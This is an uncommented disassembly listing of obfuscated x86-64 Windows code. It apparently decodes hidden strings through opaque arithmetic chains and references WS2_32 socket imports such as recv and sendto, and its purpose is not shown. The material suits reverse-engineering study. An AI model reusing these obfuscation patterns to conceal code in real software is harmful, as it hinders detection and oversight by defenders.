lea rcx, [r11 + r14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x13
jmp 0x14017bf80
movabs rcx, 0xb3815abcfa769bc5
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x63
jmp 0x14017bef6
movabs rcx, 0xa0ce7c4be25ab678
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x48
jmp 0x14017ca9f
movabs rdx, 0xa1f0994afb1695d2
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x21
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
inc r8
dec r11
inc r11
jmp 0x14017bee3
movabs rcx, 0xa312b64a13d2752c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x34
dec r11
inc r11
jmp 0x14017bee3
movabs rdx, 0xa434d3492c8e5486
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2b
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb1c
movabs rcx, 0xa556f048454a33e0
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x20
jmp 0x14017cb63
movabs rdx, 0xa6790d475e06133a
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, getservbyname
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb66
movabs rcx, 0xa79b2a4676c1f294
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0xc
jmp 0x14017cb9d
movabs rdx, 0xa8bd47458f7dd1ee
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cbf0
movabs rdx, 0xa9df6444a839b148
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 4
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
movabs rcx, 0xacb4acc2660f5fa9
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x61
mov byte [rbp + r11 + 0x9d8], dl
inc r11
jmp 0x14017bee3
movabs rcx, 0xadd6c9c17ecb3f03
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x15
cmp r8, 0x61
jb 0x14017c39d
movabs rcx, 0xc634392e12928112
add rcx, r11
movzx eax, cl
and al, r10b
mov edx, 1
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
add dl, dl
jmp 0x14017ca9f
movabs rcx, 0xaef8e6c097871e5d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x75
cmp r9, 0x28
jae 0x14017c962
lea rax, [r8 + 0x80]
cmp r9, rax
jbe 0x14017c858
movabs rcx, 0xd1895b2509e93a96
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1a
jmp 0x14017c3cb
movabs rcx, 0xb01b03bfb042fdb7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
dec dl
lea rax, [r8 + r9]
cmp rax, 3
je 0x14017c98f
lea rax, [r8 + 8]
cmp r9, rax
jbe 0x14017c732
movabs rcx, 0xdd6f8b9b8d9de3c7
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x71
jmp 0x14017c417
movabs rdx, 0xb89add38e9c408da
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 5
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
movabs rcx, 0xb9bcfa38027fe834
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6c
jmp 0x14017cbf0
movabs rdx, 0xbadf17371b3bc78e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb9d
movabs rcx, 0xbc01343633f7a6e8
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x58
jmp 0x14017cb66
movabs rdx, 0xbd2351354cb38642
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb63
movabs rcx, 0xbe456e34656f659c
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x44
jmp 0x14017cb1c
movabs rdx, 0xbf678b337e2b44f6
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x23
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x14017bee3
movabs rcx, 0xc089a83296e72450
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x30
inc r8
dec r11
inc r11
jmp 0x14017bee3
movabs rdx, 0xc1abc531afa303aa
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017ca9f
lea rax, [r8 + 2]
cmp r9, rax
jae 0x14017c63d
lea rcx, [r11 + r15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x45
jmp 0x14017c471
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14017c67b
movabs rcx, 0xe8339f12f896ad9e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x52
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017c6a7
movabs rcx, 0xe5ef6514c71eeeea
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x66
jmp 0x14017cb9d
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14017c6d6
movabs rdx, 0xe4cd4815ae630f90
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb66
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017c702
movabs rcx, 0xe3ab2b1695a73036
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x7a
jmp 0x14017cb63
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017c471
movabs rcx, 0xe2890e177ceb50dc
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 4
jmp 0x14017cb1c
lea rax, [r8 + 1]
cmp r9, rax
jne 0x14017c75e
movabs rcx, 0xdc4d6e9c74e2046d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 5
jmp 0x14017ca9f
inc rax
cmp r9, rax
jne 0x14017c792
movabs rcx, 0xdb2b519d5c262513
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7b
inc r8
dec r11
inc r11
jmp 0x14017bee3
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14017c7be
movabs rcx, 0xd8e7179f2aae665f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x67
jmp 0x14017cb1c
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14017c7ea
movabs rcx, 0xd6a2dda0f936a7ab
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x53
jmp 0x14017cb66
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017c816
movabs rcx, 0xd580c0a1e07ac851
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x37
jmp 0x14017cb9d
lea rax, [r8 + 5]
cmp r9, rax
jne 0x14017c417
movabs rcx, 0xd33c86a3af03099d
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4b
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
lea rcx, [r8 + 1]
cmp r9, rcx
jne 0x14017c899
movabs rdx, 0xd0673e25f12d5b3c
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x2e
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
lea rax, [r8 + 2]
cmp r9, rax
jne 0x14017c8c8
movabs rdx, 0xce230427bfb59c88
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, 0x24
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
jmp 0x14017cb9d
lea rax, [rcx + 1]
cmp r9, rax
jne 0x14017c8f4
movabs rcx, 0xcd00e728a6f9bd2e
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x42
jmp 0x14017cb66
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14017c929
movabs rdx, 0xc99a902b5cc61f20
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r10b
dec r11
inc r11
jmp 0x14017bee3
lea rax, [r8 + 6]
cmp r9, rax
jne 0x14017c3cb
movabs rcx, 0xc878732c440a3fc6
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6a
inc r8
dec r11
inc r11
jmp 0x14017bee3
movabs rdx, 0xc5121c2ef9d6a1b8
add rdx, r11
movzx eax, dl
and al, r10b
add al, al
movzx ecx, byte [rbp + r11 + 0x9d8]
sub cl, al
sub dl, 8
add dl, cl
add dl, r10b
jmp 0x14017cb1c
movabs rdx, 0xc3efff2fe11ac25e
add rdx, r11
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_getservbyname
sub cl, al
add cl, cl
sub cl, byte [rbp + r11 + 0x9d8]
add dl, cl
add dl, r10b
jmp 0x14017cb9d
movabs rcx, 0xe9e6ca919db07ca5
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7d
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
movabs rcx, 0xec2b048fcf283b59
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x6f
jmp 0x14017cb9d
movabs rcx, 0xed4d218ee7e41ab3
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x1b
jmp 0x14017cb66
movabs rcx, 0xf0b3788c3217b8c1
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x47
dec r11
inc r11
jmp 0x14017bee3
movabs rcx, 0xf2f7b28a638f7775
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
jmp 0x14017ca9f
movabs rcx, 0xf53bec8895073629
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x1f
movabs rcx, 0xc5a32aae86349165
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x3d
add cl, r10b
mov byte [rbp + r11 + 0x9d8], cl
inc r8
dec r11
inc r11
jmp 0x14017bee3
movabs rcx, 0xf65e0987adc31583
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x6b
inc r8
dec r11
inc r11
jmp 0x14017bee3
movabs rcx, 0xf8a24385df3ad437
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x7f
movabs rcx, 0xc4810daf6d78b20b
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x4d
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x9d8], cl
jmp 0x14017cb63
movabs rcx, 0xf9c46084f7f6b391
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 9
add r9, r8
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14017bee3
mov r10, rbx
movabs rcx, 0xfc089a83296e7245
add rcx, r11
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x1d
movabs rcx, 0xc35ef0b054bcd2b1
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x29
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x9d8], al
inc r8
add rax, r8
sub r11, rax
jmp 0x14017cbf0
movabs rcx, 0xfd2ab782422a519f
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
sub dl, 0x59
movzx r10d, bl
movabs rcx, 0xc2cde230c85ee304
add rcx, r11
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x1c
add r10b, cl
mov byte [rbp + r11 + 0x9d8], r10b
inc r9
mov rax, 0xffffffffffffffff
sub rax, r9
add r11, rax
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
movabs rcx, 0xfe4cd4815ae630f9
add rcx, r11
movzx eax, bl
and al, cl
add al, al
sub cl, al
lea edx, [rbx + rcx]
add dl, 0x31
movzx eax, byte [rbp + r11 + 0x9d8]
add rax, r8
add r11, rax
inc r11
jmp 0x14017bee3
movabs rcx, 0xb4a377bc13327b1f
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
add dl, 0x27
jmp 0x14017bee0
movabs rcx, 0xb5c594bb2bee5a79
add rcx, r11
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x4f
jmp 0x14017bed0
lea rdx, [rbp + 0x163019c]
jmp 0x14017ccd0
lea rdx, [rbp + 0x10511ef]
jmp 0x14017ccd0
lea rdx, [rbp + 0x9d8]
lea rcx, [rbp + 0x12b0]
call fcn.1401a7310
test al, al
jne 0x1401a1505
mov byte [rbp + 0x235d], 0xdb
mov byte [rbp + 0x235e], 0xe1
mov byte [rbp + 0x235f], 0xe7
mov byte [rbp + 0x2360], 0xfa
mov byte [rbp + 0x2361], 0x98
mov byte [rbp + 0x2362], getservbyname
mov byte [rbp + 0x2363], 0xe0
mov byte [rbp + 0x2364], 0xe0
mov byte [rbp + 0x2365], 0x9c
mov byte [rbp + 0x2366], getservbyname
mov byte [rbp + 0x2367], 0xef
mov byte [rbp + 0x2368], 0x9b
mov byte [rbp + 0x2369], 0xd5
mov byte [rbp + 0x236a], 0xde
mov byte [rbp + 0x236b], 0xa2
mov byte [rbp + 0x236c], 0xdc
mov byte [rbp + 0x236d], 0x28
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x236e], xmm0
mov qword [rbp + 0x237e], rax
mov dword [rbp + 0x2386], eax
mov word [rbp + 0x238a], ax
movabs r14, 0xeb06467b363a8f64
movabs r15, 0xd8af08c24965a774
movzx r11d, byte [rbp + 0x5d00]
nop word [rax + rax]
mov r8, qword [0x1404e9d00]
mov r9, qword [0x1404e9cf8]
nop
mov rbx, r12
movabs rcx, 0xc20c7d42d1d206d4
cmp rbx, 0x2f
jae 0x14017da61
movzx r10d, byte [rbp + rbx + 0x235d]
mov rdi, r10
cmp r8, rbx
ja 0x14017da58
lea rax, [r9 + 1]
cmp r8, rax
jae 0x14017cdfe
add rcx, rbx
mov rax, rcx
and rax, r10
imul r11, rax, 0xfffffffffffffffe
add r11, rcx
add r11, r10
add r11b, 0x34
jmp 0x14017ce37
je 0x14017d9cc
inc rax
cmp r8, rax
je 0x14017d925
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017d8e5
lea rax, [r9 + 2]
cmp r8, rax
je 0x14017d8b6
lea rax, [r9 + 8]
cmp r8, rax
je 0x14017d861
cmp r9, rbx
ja 0x14017da4f
lea rax, [r9 + 0x80]
cmp r8, rax
jae 0x14017ce69
lea rdx, [rbx + r14]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017ceaa
lea rax, [r9 + 1]
cmp r8, rax
je 0x14017d840
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017d82c
lea rax, [r9 + 5]
cmp r8, rax
je 0x14017d818
lea rax, [r9 + 4]
cmp r8, rax
je 0x14017d7ef
lea rax, [r9 + 7]
cmp r8, rax
je 0x14017d7b9
nop word [rax + rax]
lea rax, [r8 + r9]
cmp rax, rbx
jbe 0x14017d35f
nop dword [rax]
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14017d339
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14017d30b
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14017d2dc
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14017d2b8
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14017d28f
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x14017d266
lea rax, [r9 + 3]
cmp r8, rax
je 0x14017cec0
lea r8, [r9 + 6]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14017da2a
lea rax, [r9 + 0xa]
cmp r8, rax
jb 0x14017da01
lea rax, [r9 + 6]
cmp r8, rax
jb 0x14017d01f
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14017d000
lea rcx, [r9 + 0x64]
cmp r8, rcx
jb 0x14017d1cb
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x14017d172
lea rax, [r9 + 0x61]
cmp r8, rax
jb 0x14017cec0
mov r8, rcx
lea r9, [rcx + 0x3e8]
lea rax, [r9 + 0x61]
cmp rcx, rax
ja 0x14017d13d
lea rax, [r9 + 0x3e8]
cmp rcx, rax
ja 0x14017d114
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x14017d0f0
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14017d0c7
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14017d0a3
lea rcx, [r9 + 9]
cmp r8, rcx
ja 0x14017d07f
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14017d052
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14017cec0
mov r8, rcx
lea r9, [rcx + 0x20]
jmp 0x14017cec0
lea rdx, [rbx + r15]
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x2c
add r11b, dl
jmp 0x14017ce37
movabs rdx, 0x54960e3ca5c199cc
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, getservbyname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movabs rcx, 0xc20c7d42d1d206d4
jmp 0x14017cdd0
movabs rcx, 0xd41939540e306d78
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x48
inc r9
dec rbx
inc rbx
jmp 0x14017cdb3
movabs rcx, 0xcbe74448c6e85228
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x18
jmp 0x14017d75e
movabs rcx, 0x47ce49c323444480
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
add r11b, 0x80
jmp 0x14017d909
movabs rdx, 0xc3b54f3d7fa036d8
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017d90c
movabs rcx, 0x3f9c54b7dbfc2930
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x50
jmp 0x14017d94c
movabs rdx, 0xbb835a3238581b88
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017d97f
movabs rcx, 0x376a5fac94b40de0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x20
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
movabs rcx, 0xe912f2d8d7f5de14
add rcx, rbx
movzx eax, r10b
and al, cl
mov r11d, 0x3a
sub r11b, al
add r11b, r11b
add r11b, r10b
add r11b, cl
cmp r9, 4
jb 0x14017d722
movabs rcx, 0x50f9e89f99aeb878
add rcx, rbx
movzx eax, cl
and al, r10b
mov edx, 0x1c
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea r11d, [rdx + rdx]
jmp 0x14017d884
movabs rcx, 0xe0e0fdcd90adc2c4
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x5c
lea rax, [r9 + r8]
cmp rax, 0x3e8
je 0x14017d78e
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x14017d4c3
movabs rdx, 0x3cf9d8ebff0ba084
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
cmp r8, 0x20
jae 0x14017d732
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x14017d5e7
movabs rcx, 0x28001f6735462fe8
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x58
jmp 0x14017d197
movabs rdx, 0xfe0cac5da1bb4eb0
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, 0x18
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017d97f
movabs rdx, 0xf5dab7525a733360
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, gethostbyaddr
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
jmp 0x14017d90c
movabs rcx, 0xeda8c247132b1810
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x70
jmp 0x14017d75e
movabs rdx, 0x698fc7c16f870a68
add rdx, rbx
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
dec rbx
inc rbx
jmp 0x14017cdb3
movabs rcx, 0xe576cd3bcbe2fcc0
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x40
inc r9
dec rbx
inc rbx
jmp 0x14017cdb3
movabs rdx, 0x615dd2b6283eef18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14017d881
lea rax, [r9 + 6]
cmp r8, rax
jae 0x14017d391
movabs rdx, 0xc20c7d42d1d206d4
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017d1ea
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017d3d0
movabs rcx, 0xd60c8cf66c751ec8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x78
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017d402
movabs rdx, 0xde3e8201b3bd3a18
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x2c
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
jmp 0x14017d94c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017d42f
movabs rcx, 0x62577c87576147c0
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x40
jmp 0x14017d90c
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14017d45d
movabs rdx, 0x6a8971929ea96310
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x70
jmp 0x14017d75b
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14017d491
movabs rcx, 0xeea26c18424d70b8
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 8
dec rbx
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 8]
cmp r8, rax
jne 0x14017d1ea
movabs rdx, 0xf6d4612389958c08
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x38
jmp 0x14017d881
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017d4f1
movabs rdx, 0xc112d371a2afae2c
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x34
jmp 0x14017d881
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017d525
movabs rcx, 0xc944c87ce9f7c97c
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x64
dec rbx
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14017d542
movabs rdx, 0xd176bd88313fe4cc
mov ecx, getservbyname
jmp 0x14017d8f4
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14017d56f
movabs rcx, 0x558fb80dd4e3f274
add rcx, rbx
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x2c
jmp 0x14017d90c
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017d5a0
movabs rdx, 0x5dc1ad191c2c0dc4
add rdx, rbx
movzx eax, r10b
and al, dl
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x5c
add r11b, dl
jmp 0x14017d97f
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14017d22b
movabs rdx, 0xe1daa79ebfd01b6c
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14017d62a
movabs rdx, 0xac1919ecd8ea3d90
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, dl
movzx eax, byte [rbp + rbx + 0x235d]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14017d658
movabs rcx, 0xbc7d0403677a7430
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x50
jmp 0x14017d909
lea rax, [r9 + 6]
cmp r8, rax
jne 0x14017d684
movabs rdx, 0x4095fe890b1e81d8
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_inet_ntoa
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x14017d758
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14017d6b8
movabs rcx, 0xc4aef90eaec28f80
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
add r11b, 0x80
dec rbx
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14017d6ef
movabs rcx, 0x48c7f39452669d28
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea r11d, [rcx + r10]
sub r11b, 0x18
inc r9
dec rbx
inc rbx
jmp 0x14017cdb3
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14017d197
movabs rdx, 0xcce0ee19f60aaad0
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, 0x28
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
jmp 0x14017d881
mov byte [rbp + rbx + 0x235d], r11b
inc rbx
jmp 0x14017cdb3
movabs rdx, 0xd512e3253d52c620
add rdx, rbx
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
